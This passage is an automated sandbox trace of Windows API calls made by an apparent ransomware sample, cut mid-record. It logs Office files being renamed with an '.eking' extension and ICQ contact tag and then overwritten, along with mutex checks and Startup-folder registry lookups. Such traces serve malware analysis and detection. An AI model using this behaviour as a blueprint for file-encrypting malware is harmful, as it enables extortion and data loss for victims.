office\\root\\office16\\accwiz\\acwztool.accde"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZTOOL.ACCDE.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwztool.accde.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 1 [0090.003] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZTOOL.ACCDE.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwztool.accde.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0090.003] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x397f650 | out: lpNewFilePointer=0x0) returned 1 [0090.003] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x397f650 | out: lpNewFilePointer=0x0) returned 1 [0090.003] ReadFile (in: hFile=0x338, lpBuffer=0x3df2058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x397f65c, lpOverlapped=0x0 | out: lpBuffer=0x3df2058*, lpNumberOfBytesRead=0x397f65c*=0x40000, lpOverlapped=0x0) returned 1 [0090.010] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x3a7555, lpNewFilePointer=0x0, dwMoveMethod=0x397f650 | out: lpNewFilePointer=0x0) returned 1 [0090.010] ReadFile (in: hFile=0x338, lpBuffer=0x3e32058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x397f65c, lpOverlapped=0x0 | out: lpBuffer=0x3e32058*, lpNumberOfBytesRead=0x397f65c*=0x40000, lpOverlapped=0x0) returned 1 [0090.020] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xab6000, lpNewFilePointer=0x0, dwMoveMethod=0x397f650 | out: lpNewFilePointer=0x0) returned 1 [0090.020] ReadFile (in: hFile=0x338, lpBuffer=0x3e72058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x397f65c, lpOverlapped=0x0 | out: lpBuffer=0x3e72058*, lpNumberOfBytesRead=0x397f65c*=0x40000, lpOverlapped=0x0) returned 1 [0090.038] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x397f7c0 | out: lpNewFilePointer=0x0) returned 1 [0090.039] WriteFile (in: hFile=0x338, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x397f7b8, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x397f7b8*=0xc0112, lpOverlapped=0x0) returned 1 [0090.747] SetEndOfFile (hFile=0x338) returned 1 [0090.748] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xab6000, lpNewFilePointer=0x0, dwMoveMethod=0x397f658 | out: lpNewFilePointer=0x0) returned 1 [0090.749] WriteFile (in: hFile=0x338, lpBuffer=0x3eb214a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x397f664, lpOverlapped=0x0 | out: lpBuffer=0x3eb214a*, lpNumberOfBytesWritten=0x397f664*=0x40000, lpOverlapped=0x0) returned 1 [0090.752] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x3a7555, lpNewFilePointer=0x0, dwMoveMethod=0x397f658 | out: lpNewFilePointer=0x0) returned 1 [0090.752] WriteFile (in: hFile=0x338, lpBuffer=0x3eb214a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x397f664, lpOverlapped=0x0 | out: lpBuffer=0x3eb214a*, lpNumberOfBytesWritten=0x397f664*=0x40000, lpOverlapped=0x0) returned 1 [0090.755] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x397f658 | out: lpNewFilePointer=0x0) returned 1 [0090.755] WriteFile (in: hFile=0x338, lpBuffer=0x3eb214a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x397f664, lpOverlapped=0x0 | out: lpBuffer=0x3eb214a*, lpNumberOfBytesWritten=0x397f664*=0x40000, lpOverlapped=0x0) returned 1 [0090.756] CloseHandle (hObject=0x338) returned 1 [0095.988] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) Thread: id = 38 os_tid = 0x258 Thread: id = 40 os_tid = 0x5a4 Process: id = "2" image_name = "mjhrrw.exe" filename = "c:\\users\\fd1hvy\\desktop\\mjhrrw.exe" page_root = "0x6a96000" os_pid = "0x11cc" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x11b8" cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\mjhrrw.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3 os_tid = 0x11c4 [0069.294] GetProcessHeap () returned 0x170000 [0069.294] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x30) returned 0x186548 [0069.294] GetProcessHeap () returned 0x170000 [0069.294] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x34c0) returned 0x1868c0 [0069.301] GetProcessHeap () returned 0x170000 [0069.301] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x300) returned 0x189d88 [0069.301] GetProcessHeap () returned 0x170000 [0069.301] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x10) returned 0x17aca0 [0069.302] GetTickCount () returned 0x1152b71 [0069.302] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x95f980, cchData=32 | out: lpLCData="\x03") returned 16 [0069.303] GetProcessHeap () returned 0x170000 [0069.303] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20) returned 0x1743e8 [0069.303] GetProcessHeap () returned 0x170000 [0069.303] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20a) returned 0x18a090 [0069.303] GetProcessHeap () returned 0x170000 [0069.303] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20a) returned 0x18a2a8 [0069.303] GetProcessHeap () returned 0x170000 [0069.303] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20a) returned 0x18a4c0 [0069.303] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18a4c0, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\mjhrrw.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\mjhrrw.exe")) returned 0x22 [0069.303] GetProcessHeap () returned 0x170000 [0069.303] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18a4c0 | out: hHeap=0x170000) returned 1 [0069.303] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\sfor.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\sfor.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0069.304] GetProcessHeap () returned 0x170000 [0069.304] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18a090 | out: hHeap=0x170000) returned 1 [0069.304] GetProcessHeap () returned 0x170000 [0069.304] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18a2a8 | out: hHeap=0x170000) returned 1 [0069.304] GetProcessHeap () returned 0x170000 [0069.304] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1743e8 | out: hHeap=0x170000) returned 1 [0069.304] GetVersion () returned 0x23f00206 [0069.304] GetCurrentProcess () returned 0xffffffff [0069.304] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x95f914 | out: TokenHandle=0x95f914*=0x1dc) returned 1 [0069.304] GetTokenInformation (in: TokenHandle=0x1dc, TokenInformationClass=0x14, TokenInformation=0x95f90c, TokenInformationLength=0x4, ReturnLength=0x95f910 | out: TokenInformation=0x95f90c, ReturnLength=0x95f910) returned 1 [0069.304] CloseHandle (hObject=0x1dc) returned 1 [0069.304] GetProcessHeap () returned 0x170000 [0069.304] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20) returned 0x1743e8 [0069.304] GetProcessHeap () returned 0x170000 [0069.304] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20a) returned 0x18a090 [0069.304] GetProcessHeap () returned 0x170000 [0069.304] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20a) returned 0x18a2a8 [0069.304] GetProcessHeap () returned 0x170000 [0069.304] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18a090 | out: hHeap=0x170000) returned 1 [0069.305] GetProcessHeap () returned 0x170000 [0069.305] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18a2a8 | out: hHeap=0x170000) returned 1 [0069.305] GetProcessHeap () returned 0x170000 [0069.305] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20) returned 0x174600 [0069.305] GetProcessHeap () returned 0x170000 [0069.305] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x1e) returned 0x172b08 [0069.305] GetProcessHeap () returned 0x170000 [0069.305] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x1e) returned 0x178a40 [0069.305] GetProcessHeap () returned 0x170000 [0069.305] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x174b30 [0069.305] GetProcessHeap () returned 0x170000 [0069.305] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x174b30 | out: hHeap=0x170000) returned 1 [0069.305] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x172b08, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0069.305] GetProcessHeap () returned 0x170000 [0069.305] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x178a40 | out: hHeap=0x170000) returned 1 [0069.305] GetProcessHeap () returned 0x170000 [0069.305] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x174600 | out: hHeap=0x170000) returned 1 [0069.305] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x95f8cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x95f8cc*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0069.306] GetProcessHeap () returned 0x170000 [0069.306] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x172b08 | out: hHeap=0x170000) returned 1 [0069.306] GetProcessHeap () returned 0x170000 [0069.306] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x30) returned 0x1865b8 [0069.306] GetProcessHeap () returned 0x170000 [0069.306] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x2a) returned 0x186190 [0069.306] GetProcessHeap () returned 0x170000 [0069.306] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x186190, Size=0x52) returned 0x1741a0 [0069.306] GetProcessHeap () returned 0x170000 [0069.306] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1865b8 | out: hHeap=0x170000) returned 1 [0069.306] GetProcessHeap () returned 0x170000 [0069.306] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1741a0 | out: hHeap=0x170000) returned 1 [0069.306] GetProcessHeap () returned 0x170000 [0069.306] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x1c) returned 0x172b08 [0069.306] GetProcessHeap () returned 0x170000 [0069.306] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x1c) returned 0x174600 [0069.306] GetProcessHeap () returned 0x170000 [0069.306] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20) returned 0x178a40 [0069.306] GetProcessHeap () returned 0x170000 [0069.306] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x1e) returned 0x178a68 [0069.306] GetProcessHeap () returned 0x170000 [0069.306] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x1e) returned 0x1741a0 [0069.306] GetProcessHeap () returned 0x170000 [0069.306] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x174b30 [0069.306] GetProcessHeap () returned 0x170000 [0069.306] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x174b30 | out: hHeap=0x170000) returned 1 [0069.307] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x178a68, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0069.307] GetProcessHeap () returned 0x170000 [0069.307] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1741a0 | out: hHeap=0x170000) returned 1 [0069.307] GetProcessHeap () returned 0x170000 [0069.307] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x178a40 | out: hHeap=0x170000) returned 1 [0069.307] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x95f8b4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x95f8b4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0069.307] GetProcessHeap () returned 0x170000 [0069.307] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x178a68 | out: hHeap=0x170000) returned 1 [0069.307] GetProcessHeap () returned 0x170000 [0069.307] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x40) returned 0x17e158 [0069.307] GetProcessHeap () returned 0x170000 [0069.307] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x3a) returned 0x17dbb8 [0069.307] GetProcessHeap () returned 0x170000 [0069.307] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x17dbb8, Size=0x72) returned 0x17ad60 [0069.307] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x0 [0069.307] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000000") returned 0x1dc [0069.307] WaitForSingleObject (hHandle=0x1dc, dwMilliseconds=0x0) returned 0x0 [0069.307] GetProcessHeap () returned 0x170000 [0069.307] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x17e158 | out: hHeap=0x170000) returned 1 [0069.308] GetProcessHeap () returned 0x170000 [0069.308] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x17ad60 | out: hHeap=0x170000) returned 1 [0069.308] GetProcessHeap () returned 0x170000 [0069.308] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20) returned 0x178a40 [0069.308] GetProcessHeap () returned 0x170000 [0069.308] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x1e) returned 0x178a68 [0069.308] GetProcessHeap () returned 0x170000 [0069.308] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x1e) returned 0x1741a0 [0069.308] GetProcessHeap () returned 0x170000 [0069.308] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x174b30 [0069.308] GetProcessHeap () returned 0x170000 [0069.308] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x174b30 | out: hHeap=0x170000) returned 1 [0069.308] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x178a68, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0069.308] GetProcessHeap () returned 0x170000 [0069.308] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1741a0 | out: hHeap=0x170000) returned 1 [0069.308] GetProcessHeap () returned 0x170000 [0069.308] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x178a40 | out: hHeap=0x170000) returned 1 [0069.308] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x95f89c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x95f89c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0069.308] GetProcessHeap () returned 0x170000 [0069.308] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x178a68 | out: hHeap=0x170000) returned 1 [0069.308] GetProcessHeap () returned 0x170000 [0069.308] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x40) returned 0x17dbb8 [0069.309] GetProcessHeap () returned 0x170000 [0069.309] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x3a) returned 0x17dd68 [0069.309] GetProcessHeap () returned 0x170000 [0069.309] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x17dd68, Size=0x72) returned 0x17ad60 [0069.309] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x1e0 [0069.309] WaitForSingleObject (hHandle=0x1e0, dwMilliseconds=0x0) returned 0x102 [0069.309] CloseHandle (hObject=0x1e0) returned 1 [0069.309] GetProcessHeap () returned 0x170000 [0069.309] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x17dbb8 | out: hHeap=0x170000) returned 1 [0069.309] GetProcessHeap () returned 0x170000 [0069.309] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x17ad60 | out: hHeap=0x170000) returned 1 [0069.309] GetProcessHeap () returned 0x170000 [0069.309] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20) returned 0x178a40 [0069.309] GetProcessHeap () returned 0x170000 [0069.309] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x1e) returned 0x178a68 [0069.309] GetProcessHeap () returned 0x170000 [0069.309] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x1e) returned 0x1741a0 [0069.309] GetProcessHeap () returned 0x170000 [0069.309] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x174b30 [0069.309] GetProcessHeap () returned 0x170000 [0069.309] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x174b30 | out: hHeap=0x170000) returned 1 [0069.309] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x178a68, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0069.309] GetProcessHeap () returned 0x170000 [0069.309] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1741a0 | out: hHeap=0x170000) returned 1 [0069.309] GetProcessHeap () returned 0x170000 [0069.309] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x178a40 | out: hHeap=0x170000) returned 1 [0069.309] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x95f8d4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x95f8d4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0069.310] GetProcessHeap () returned 0x170000 [0069.310] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x178a68 | out: hHeap=0x170000) returned 1 [0069.310] GetProcessHeap () returned 0x170000 [0069.310] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x60) returned 0x1781c8 [0069.310] GetProcessHeap () returned 0x170000 [0069.310] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20) returned 0x178a40 [0069.310] GetProcessHeap () returned 0x170000 [0069.310] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x1e) returned 0x178a68 [0069.310] GetProcessHeap () returned 0x170000 [0069.310] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x1e) returned 0x1741a0 [0069.310] GetProcessHeap () returned 0x170000 [0069.310] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x174b30 [0069.310] GetProcessHeap () returned 0x170000 [0069.310] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x174b30 | out: hHeap=0x170000) returned 1 [0069.310] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x178a68, nSize=0xf | out: lpDst="") returned 0x1e [0069.310] GetProcessHeap () returned 0x170000 [0069.310] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1741a0 | out: hHeap=0x170000) returned 1 [0069.310] GetProcessHeap () returned 0x170000 [0069.310] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x178a68, Size=0x3a) returned 0x1741a0 [0069.310] GetProcessHeap () returned 0x170000 [0069.310] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x3a) returned 0x17ddf8 [0069.310] GetProcessHeap () returned 0x170000 [0069.310] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x174b30 [0069.310] GetProcessHeap () returned 0x170000 [0069.310] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x174b30 | out: hHeap=0x170000) returned 1 [0069.311] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x1741a0, nSize=0x1d | out: lpDst="") returned 0x1e [0069.311] GetProcessHeap () returned 0x170000 [0069.311] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x17ddf8 | out: hHeap=0x170000) returned 1 [0069.311] GetProcessHeap () returned 0x170000 [0069.311] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x1741a0, Size=0x72) returned 0x17ad60 [0069.311] GetProcessHeap () returned 0x170000 [0069.311] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x72) returned 0x1704a0 [0069.311] GetProcessHeap () returned 0x170000 [0069.311] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x174b30 [0069.311] GetProcessHeap () returned 0x170000 [0069.311] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x174b30 | out: hHeap=0x170000) returned 1 [0069.311] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x17ad60, nSize=0x39 | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Local") returned 0x1e [0069.311] GetProcessHeap () returned 0x170000 [0069.311] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1704a0 | out: hHeap=0x170000) returned 1 [0069.311] GetProcessHeap () returned 0x170000 [0069.311] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x178a40 | out: hHeap=0x170000) returned 1 [0069.311] GetProcessHeap () returned 0x170000 [0069.311] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x40) returned 0x17dcd8 [0069.311] GetProcessHeap () returned 0x170000 [0069.311] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x3e) returned 0x17dd68 [0069.311] GetProcessHeap () returned 0x170000 [0069.311] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x3e) returned 0x17e110 [0069.311] GetProcessHeap () returned 0x170000 [0069.311] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x174b30 [0069.311] GetProcessHeap () returned 0x170000 [0069.311] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x10) returned 0x177c90 [0069.311] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x95f7ec | out: phkResult=0x95f7ec*=0x1e4) returned 0x0 [0069.312] RegQueryValueExW (in: hKey=0x1e4, lpValueName="Startup", lpReserved=0x0, lpType=0x95f7e8, lpData=0x17e110, lpcbData=0x95f7f0*=0x3e | out: lpType=0x95f7e8*=0x2, lpData=0x17e110*=0x6f, lpcbData=0x95f7f0*=0x98) returned 0xea [0069.312] RegCloseKey (hKey=0x1e4) returned 0x0 [0069.312] GetProcessHeap () returned 0x170000 [0069.312] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x177c90 | out: hHeap=0x170000) returned 1 [0069.312] GetProcessHeap () returned 0x170000 [0069.312] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x174b30 | out: hHeap=0x170000) returned 1 [0069.312] GetProcessHeap () returned 0x170000 [0069.312] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x17e110 | out: hHeap=0x170000) returned 1 [0069.312] GetProcessHeap () returned 0x170000 [0069.312] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x17dd68, Size=0x7a) returned 0x172da8 [0069.312] GetProcessHeap () returned 0x170000 [0069.312] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x7a) returned 0x174428 [0069.312] GetProcessHeap () returned 0x170000 [0069.312] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x174b30 [0069.312] GetProcessHeap () returned 0x170000 [0069.312] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x10) returned 0x177c90 [0069.312] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x95f7ec | out: phkResult=0x95f7ec*=0x1e4) returned 0x0 [0069.312] RegQueryValueExW (in: hKey=0x1e4, lpValueName="Startup", lpReserved=0x0, lpType=0x95f7e8, lpData=0x174428, lpcbData=0x95f7f0*=0x7a | out: lpType=0x95f7e8*=0x2, lpData=0x174428*=0x30, lpcbData=0x95f7f0*=0x98) returned 0xea [0069.312] RegCloseKey (hKey=0x1e4) returned 0x0 [0069.312] GetProcessHeap () returned 0x170000 [0069.312] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x177c90 | out: hHeap=0x170000) returned 1 [0069.312] GetProcessHeap () returned 0x170000 [0069.312] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x174b30 | out: hHeap=0x170000) returned 1 [0069.312] GetProcessHeap () returned 0x170000 [0069.312] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x174428 | out: hHeap=0x170000) returned 1 [0069.312] GetProcessHeap () returned 0x170000 [0069.312] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x172da8, Size=0xf2) returned 0x17a0c8 [0069.313] GetProcessHeap () returned 0x170000 [0069.313] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0xf2) returned 0x179f60 [0069.313] GetProcessHeap () returned 0x170000 [0069.313] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x174b30 [0069.313] GetProcessHeap () returned 0x170000 [0069.313] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x10) returned 0x177c90 [0069.313] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x95f7ec | out: phkResult=0x95f7ec*=0x1e4) returned 0x0 [0069.313] RegQueryValueExW (in: hKey=0x1e4, lpValueName="Startup", lpReserved=0x0, lpType=0x95f7e8, lpData=0x179f60, lpcbData=0x95f7f0*=0xf2 | out: lpType=0x95f7e8*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x95f7f0*=0x98) returned 0x0 [0069.313] RegCloseKey (hKey=0x1e4) returned 0x0 [0069.313] GetProcessHeap () returned 0x170000 [0069.313] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x177c90 | out: hHeap=0x170000) returned 1 [0069.313] GetProcessHeap () returned 0x170000 [0069.313] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x1e) returned 